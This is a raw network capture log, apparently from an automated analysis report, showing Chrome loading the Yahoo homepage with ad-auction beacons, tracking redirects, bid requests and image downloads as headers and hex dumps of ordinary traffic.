2024-04-27 22:41:59 UTC	1812	OUT	POST /p?&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&cobrand=none&colo=bf1&device=desktop&lang=en-US&lu=0&region=US&site=fp&ver=megastrm&pt=home&spaceid=2023538075&yrid=1sbetl5j2qvpa&outcm=prebidDebug&eventType=auctionInit&adUnits=us_yhp_main_dt_top_right,us_yhp_main_dt_as_mid_right_a,us_yhp_main_dt_top_center,us_yhp_main_dt_as_mid_right_b,us_yhp_main_dt_as_mid_right_c&bidders=yahooPrebidServer,taboola,ix,yieldmo,triplelift,pubmatic,yahooAds,medianet,criteo,openx,rubicon HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	1261	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:41:59 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=noa.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=noa.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=noa.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
2024-04-27 22:41:59 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	49988	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	916	OUT	GET /uu/api/res/1.2/jUDPTogMDfGauNm.dTWoBQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2FIMAGE_UPSCALER%2FEIU%2F85f03fc2-6ff1-4570-89a0-515bca45febe__BWujTRKy.jpg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	1206	IN	HTTP/1.1 200 OK Content-Length: 25174 Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 397027252229094741208887450139352151327,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 397027252229094741208887450139352151327,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Etag: "555e651ec86174c89670b90229fcca78" Expiration: expiry-date="Wed, 01 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 02 Nov 2023 23:56:38 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=25174,owidth=2000,oheight=1000,obytes=142397 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 05 Apr 2024 02:02:30 GMT X-Served-By: cache-iad-kjyo7100137-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1712282551.668877,VS0,VE3 Age: 1975169 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kjyo7100137-IAD cld_latency: 3 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:59 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 96 00 96 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c0 00 11 08 01 1c 02 18 03 01 22 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 01 08 09 ff c4 00 5e 10 00 01 03 03 01 03 06 06 09 0f 09 05 08 01 05 00 01 00 02 03 04 05 11 21 06 12 31 07 13 41 51 61 71 14 22 32 81 91 d1 15 52 53 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C((((((((((((((((((((((((((((((((((((((((((((((((((("^!1AQaq"2RS
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: d2 b7 d2 65 48 2d 69 bc 8d 4e 7f 3c c5 f1 07 e9 25 19 c8 b4 ee 3f f1 b8 bf 67 3f 49 27 88 a6 bc 8d 60 ab 3f ed fd 8c 85 05 b1 b7 91 29 8f 1b e4 5f b3 1f a4 94 1c 87 cc 46 7d 9c 8b f6 63 f4 94 7b aa 5c 92 ec 31 1f 4f ec 63 08 2d 98 f2 1d 3f 45 f6 1f d9 8f d2 49 bb 91 19 c7 e7 c8 7f 67 3f 49 3e e6 97 21 d8 62 3e 9f d8 c7 50 5a fb b9 15 a8 1f 9e e1 fd 9c fd 24 8b b9 1a a8 6f e7 98 7e 20 fd 24 fb 8a 7c 89 e0 6b af ed fd 8c 99 05 aa 9e 47 aa 07 e7 88 7e 20 fa d1 4f 24 15 03 f3 bc 5f 12 7d 69 f5 e9 f2 47 b4 ad f4 99 62 0b 52 fb 11 4f fa 5e 2f 88 3e b4 3e c4 53 fe 97 8b e2 4f ad 1d 68 72 2e d2 b7 06 5a 82 d4 4f 24 93 8f ce f1 7c 49 f5 a2 fd 89 67 fd 2d 17 c4 9f 5a 3a d0 e4 3b 4a bc 19 82 0b 4f fb 12 cf fa 5a 2f 89 3e b4 3e c4 d5 1f a5 a2 f8 93 eb 47 5a 1c 87 69 Data Ascii: eH-iN<%?g?I'`?)_F}c{\1Oc-?EIg?I>!b>PZ$o~ $\|kG~ O$_}iGbRO^/>>SOhr.ZO$\|Ig-Z:;JOZ/>>GZi
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 22 a9 a8 32 37 76 53 bd d0 0a 87 43 dc 9f 7b ec 5b a3 91 9e e8 cf 48 46 73 98 78 48 cf 4a a8 d4 54 f8 50 73 67 86 37 c8 34 2f 0c 1b de 9c 2a ad ce 09 58 49 a6 ab 7e 3d ab d8 df 9c 0f dc 97 43 dc 7d ef b1 a9 e0 6f 68 41 f3 a0 46 ab 05 ad b9 56 d2 bf 76 42 f6 9e 83 81 83 f2 26 ae bf d6 0e 12 3b d2 9f 6e f9 1f 7c b8 3d 08 07 72 50 35 79 d3 eb 8e b8 7e 55 fe 67 10 87 d7 2d 78 e1 34 c3 ba 52 8e dd f2 4b be 8f 07 a2 24 69 27 44 68 5a 72 bc eb f5 d1 71 1c 2a aa 47 74 ce 46 1b 57 76 07 c5 b8 56 b7 ba 67 7a d4 5e 19 f2 49 63 e0 bc 1e 97 8d a7 01 1f 04 38 e9 c1 79 a9 bb 63 7d 6f 91 77 af 1f f3 4a bb f2 73 b7 1b 43 5b 5e eb 4d 6d ce 59 ed d3 62 47 c5 23 5a 49 70 73 70 77 b1 9f 95 42 58 66 93 6d 96 43 e2 11 6d 45 2d cd 7c 14 0b 92 61 c8 17 68 b2 58 ea a3 a5 c8 b9 45 Data Ascii: "27vSC{[HFsxHJTPsg74/XI~=C}ohAFVvB&;n\|=rP5y~Ug-x4RK$i'DhZrqGtFWvVgz^Ic8yc}owJsC[^MmYbG#ZIpspwBXfmCmE-\|ahXE
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 33 da f1 ea 5c c9 af 95 9b e9 7a e3 f7 37 86 bb 28 e7 2a 9d 7f ba 4c 28 23 e6 24 74 4e df 19 73 0e 0a 81 f6 5a bf a6 b2 7f 86 56 08 61 dc 95 ce d5 6c 74 69 4b 2b 46 9b aa e8 38 1a ac c0 dc eb 4f f2 b9 fe 30 a2 ba e1 58 78 d5 4f f1 85 4d 61 1f 25 3f d4 e3 f4 9a 8b df 86 1e b4 cd cf 19 d4 ac d9 d5 95 0e f2 aa 26 3d ef 29 23 3c a4 eb 2c 9f 08 a9 2c 23 e4 8b f8 9c 5f f6 9a 5b 9e 3a c2 4d cf 1d 61 66 a6 69 0f 19 1f f0 8a 21 91 de d9 de 95 2e d3 dc 8f f5 15 f4 9a 49 78 eb 08 8e 78 f6 c3 d2 b3 72 f2 7a 4f a5 17 28 ed 7d c8 ff 00 50 5f 49 a3 17 b7 db 34 79 d1 4c 8c e9 7b 7d 2b 3b d1 77 44 76 de e1 df ff 00 c4 d1 5b 34 7d 32 33 e1 04 a0 9e 1e 99 63 f8 41 66 ba 21 80 8e df dc 3b ef f8 9a 3b a7 87 dd a3 f8 41 17 c2 a0 1c 67 8b e1 85 9d e0 2e e8 97 6d ee 1d fb fa 4d Data Ascii: 3\z7(*L(#$tNsZValtiK+F8O0XxOMa%?&=)#<,,#_[:Mafi!.IxxrzO(}P_I4yL{}+;wDv[4}23cAf!;;Ag.mM
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: e4 84 99 00 6b db d7 8d 42 6d 6b ad e6 ea 33 c1 e0 e4 76 f6 2b 65 ca 8a 4a 6a 97 b4 6b 19 38 20 aa 8d e6 8f c1 a7 e7 61 d1 b9 ce 9d 0b 62 d7 43 04 95 b5 37 6e 4f f6 96 9e a6 cc cb 7d c6 59 5b 14 0f 68 6b da d2 e3 cc b8 f0 d3 ab 51 e8 5a e4 97 6a 2a c7 b6 9e d9 3b 39 b8 23 27 9a 84 98 e4 8f 03 8b 9a 75 c7 0d 08 5e 66 e4 a2 7f 09 be 52 52 b9 ed 6b 2b 43 e9 89 77 00 48 cb 7f bc 1a b7 4f ad 8b 81 11 32 6a c8 19 3b 35 8a a1 85 c6 46 91 db d2 3b 17 5a 86 32 97 4d 46 bc ac d6 c7 1b 19 96 94 fe e3 bd a9 a4 8e 9e 8e 3b cd 3b 84 15 46 08 a4 96 31 a0 7b 9d c7 45 9a fd 50 4f e7 b9 39 a3 94 82 d3 25 5c 4e c1 e8 cb 1c b4 5f 61 5d 51 75 68 bc d7 be b6 7d ce 71 ad 0c dd 66 01 c7 ef 0b 3c fa a2 aa 62 76 ca 9a 16 67 9c a7 a9 85 ee 38 d3 0e 6c 98 c7 c1 2a f9 e3 68 d5 a4 e9 Data Ascii: kBmk3v+eJjk8 abC7nO}Y[hkQZj;9#'u^fRRk+CwHO2j;5F;Z2MF;;F1{EPO9%\N_a]Quh}qf<bvg8lh
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 91 23 99 3c 53 c9 2c af 69 f1 58 d6 f0 c0 e3 93 a6 0a 23 82 a1 25 76 ad f9 8f ba a8 8c 36 6e 4e ef ec 87 9c 8a 9e 9e a1 bb c1 b8 8a 76 93 9c e3 a7 08 d1 f2 6d b5 32 38 86 da 7a 33 ad 44 43 fc cb 7f 93 67 dd 55 13 e1 ac 8e 69 22 78 2d 73 0b da c6 91 fd 9d 53 f8 2c 94 94 f0 81 23 22 8e 26 80 d0 d0 d1 80 3c ea 32 c1 e1 d6 cc 6b 19 53 83 cd e7 93 6d aa 00 93 67 78 c7 f4 d1 7d 24 47 f2 71 b5 00 67 d8 6a 83 dc e6 1f de bd 37 1b e8 c9 cc 52 c5 21 eb df 05 38 0c 7b ce 72 30 7d 0a a7 83 a6 35 8c 9f 08 f2 65 46 c4 ed 1c 24 87 d8 eb cf bd 8f 7b e6 51 f5 b6 0b ad 0d 3b a7 ad b4 dc 20 81 a4 07 49 2d 3b da d1 93 81 92 46 38 90 bd 85 e0 4c 24 97 12 7b 95 3f 96 28 1a ce 4e eb f0 31 f6 da 7f fa cc 55 cf 09 4d 26 d3 64 e1 8b 9b 92 4d 1e 77 a1 a4 8e 30 d7 06 e5 dd 65 5e af Data Ascii: #<S,iX#%v6nNvm28z3DCgUi"x-sS,#"&<2kSmgx}$Gqgj7R!8{r0}5eF${Q; I-;F8L${?(N1UM&dMw0e^
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: d0 7b 4e 81 6e b4 96 ba 2a 2b 58 a3 b7 46 c6 d3 ee 90 0b 4e f6 f1 3d 24 f4 95 d6 f8 6d dc 65 a2 b7 f9 31 e2 da 4d 19 cd 9f fe 1f 4d fd 5b 7e 64 11 2c 87 36 f8 01 e2 d6 ee fa 34 41 71 d9 b4 a6 d5 1f b7 bf bd 24 11 ea 7e fc e4 88 28 43 3d 31 f5 3e c3 49 36 c1 93 51 1b 9c f1 59 20 07 c1 cc 83 c9 67 48 5a b5 b2 7a 7b 7c c6 58 63 63 5f 8c 07 0a 67 8d 3d 2b 01 e4 53 94 0b 36 cd 6c ac f6 fb ad c1 d4 b3 1a a7 4a d6 f3 4e 7e 5a 5a d1 9c 86 9e 90 56 91 0f 2b 3b 2e 33 8b f3 7c 6e 3b d0 3f e8 ae dd 19 46 54 94 5c bc 72 79 fc 44 2a 2a d2 6a 2f 7e 0d 24 ed 0c 81 e3 02 22 de d8 de 0a eb f6 91 ed 8d ce 6b 60 2e e8 07 78 65 66 cf e5 53 66 1f 26 ff 00 b3 f1 03 8c 7d e9 e3 4f 82 ba fe 53 f6 66 46 16 9d a0 83 07 f5 5c 3f 72 97 46 8f b7 ea 52 e5 5d 78 7f a1 a6 33 69 1c 70 08 Data Ascii: {Nn+XFN=$me1MM[~d,64Aq$~(C=1>I6QY gHZz{\|Xcc_g=+S6lJN~ZZV+;.3\|n;?FT\ryD*j/~$"k`.xefSf&}OSfF\?rFR]x3ip
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 94 6a 30 fd 34 38 2b ce 14 54 2e 7d d2 95 8d 19 25 e0 01 e7 5b 3d e6 ef b4 12 df e9 a9 2a eb e0 26 9e 48 ea 20 7b 61 0d 6b dc 75 6b b4 3a 81 9c 7a 56 c5 1c 44 97 ff 00 1f f3 38 98 e8 d5 cd 1e 9b b7 25 c2 d3 67 aa b6 5b 4b 6e 55 8d 9e 36 c7 bf 30 11 65 c4 e3 27 c6 ce 4f a3 b9 63 fc bd 48 c3 05 39 80 66 9c c8 c0 c9 03 cb da f1 ba e3 90 ee 9e 2a e9 49 7a da 1d ab a3 b8 d2 47 e0 fb 93 49 99 1f e3 30 53 06 b8 34 b0 1f d6 1c 3b ca a8 72 fd 65 86 c9 b3 f6 4a 7a 39 e6 75 33 65 7b 23 8a 42 08 66 06 74 38 cf 4f 4a e8 d3 96 2f a1 38 e2 6d fc b1 9b 0e a6 aa 2c f6 31 20 fe 2a cf b1 07 35 f2 7b d1 f3 aa 98 2a d5 b0 9a d7 cd dc d5 cb a9 e9 67 6a 8f e2 22 f7 b4 07 fd de cf 7c 14 0b 4e aa 73 68 4f fb bd 98 f6 e1 40 34 ea ab a5 b1 6e 27 d6 3b a7 7b 63 9a 27 c8 37 a3 0e 05 Data Ascii: j048+T.}%[=&H {akuk:zVD8%g[KnU60e'OcH9fIzGI0S4;reJz9u3e{#Bft8OJ/8m,1 5{gj"\|NshO@4n';{c'7
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 2e 4e e2 8d 47 f8 24 1f d5 b7 e6 5a e9 ec 61 c4 f8 25 ad 7f 7d 3d cb 4b e4 be 11 35 ca a9 c4 90 63 6b 1c 00 e9 d4 e8 56 65 6c 38 79 ee 5a f7 22 40 3a e3 74 27 80 8e 3f 9c ad 14 1d aa a6 61 ad f8 4c d0 a8 63 6c 73 87 b8 60 39 e3 4f 3a b1 03 ba ec 28 eb 91 e6 c4 72 bb 56 82 03 7f 54 f5 a7 d4 ae 63 9a 30 01 27 57 13 d2 ba 35 65 9d 29 1c b8 e9 a0 95 4b 65 92 46 73 71 b8 ee f4 9d 14 5d dc 3a a1 84 1d dc b3 5c 3b ad 4f 53 bd f2 3a 59 24 69 60 e0 d0 7a ba d5 6b 6b 6b 19 41 44 f9 26 78 11 c8 40 20 e9 90 8a 0e f3 48 25 b1 0f 6d b8 36 a7 7c 02 4c d1 bb 71 ed 1c 02 3d c2 37 4d 10 e6 ff 00 08 cf 8a 01 c0 cf 6f a1 43 5b 59 4e 6e 06 a1 c5 f0 52 be 22 23 61 05 ae 1d bf 2f 6f 4a 99 a2 78 9c 17 47 33 a4 dd 38 21 c3 04 2e 8f 92 a0 47 53 51 34 1c e4 f1 4f 10 19 6b 8c 7b b9 Data Ascii: .NG$Za%}=K5ckVel8yZ"@:t'?aLcls`9O:(rVTc0'W5e)KeFsq]:\;OS:Y$i`zkkkAD&x@ H%m6\|Lq=7MoC[YNnR"#a/oJxG38!.GSQ4Ok{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	49986	18.213.248.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	763	OUT	GET /j?dtstmp=1714257718141&did=did-004f&se=e30&duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&tv=8.37.0&pu=https%3A%2F%2Fwww.yahoo.com%2F&us_privacy=1YNN&wpn=prebid&gdpr=0&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com HTTP/1.1 Host: rp.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	606	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 0 Connection: close set-cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01; Max-Age=63072000; Domain=.liadm.com; Path=/; Secure; SameSite=None location: /j?se=e30&cd=.yahoo.com&dtstmp=1714257718141&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.yahoo.com%2F&gpp_as=-1&us_privacy=1YNN&duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&gdpr=0&n3pc=true&gpp_s=DBAA access-control-expose-headers: * access-control-allow-origin: https://www.yahoo.com access-control-allow-methods: GET access-control-allow-credentials: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	49989	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1251	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1189 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:59 UTC	1189	OUT	Data Raw: 7b 22 69 64 22 3a 22 63 30 37 33 65 37 62 63 2d 30 63 32 33 2d 34 61 35 34 2d 39 61 35 39 2d 65 38 64 62 32 66 64 36 33 64 39 63 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 33 38 61 32 39 37 33 35 31 64 32 65 61 36 31 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 32 33 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 5d 2c 22 70 6f 73 Data Ascii: {"id":"c073e7bc-0c23-4a54-9a59-e8db2fd63d9c","cur":["USD"],"imp":[{"id":"38a297351d2ea61","secure":1,"bidfloor":0.23,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":250},{"w":300,"h":600}],"pos
2024-04-27 22:42:00 UTC	348	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:00 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	49991	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	755	OUT	GET /uu/api/res/1.2/cR8X2NNZ_w2HCLX1lXASWQ--~B/Zmk9c3RyaW07aD00MDg7dz03MjA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2020-07/98c925c0-d18b-11ea-9fff-06141a553c2a.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	1294	IN	HTTP/1.1 200 OK Content-Length: 64052 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 415313623004383316824962802028810439455,237280034610845727181017122372560204000,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="98c925c0-d18b-11ea-9fff-06141a553c2a.webp" Edge-Cache-Tag: 415313623004383316824962802028810439455,237280034610845727181017122372560204000,ae7a14591aaf8d474cdb3f92111c923e Etag: "9b62c9b2875842f299db8597d019ce4a" Expiration: expiry-date="Tue, 23 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 24 Jan 2024 21:17:48 GMT Server: ATS Surrogate-Reporting: 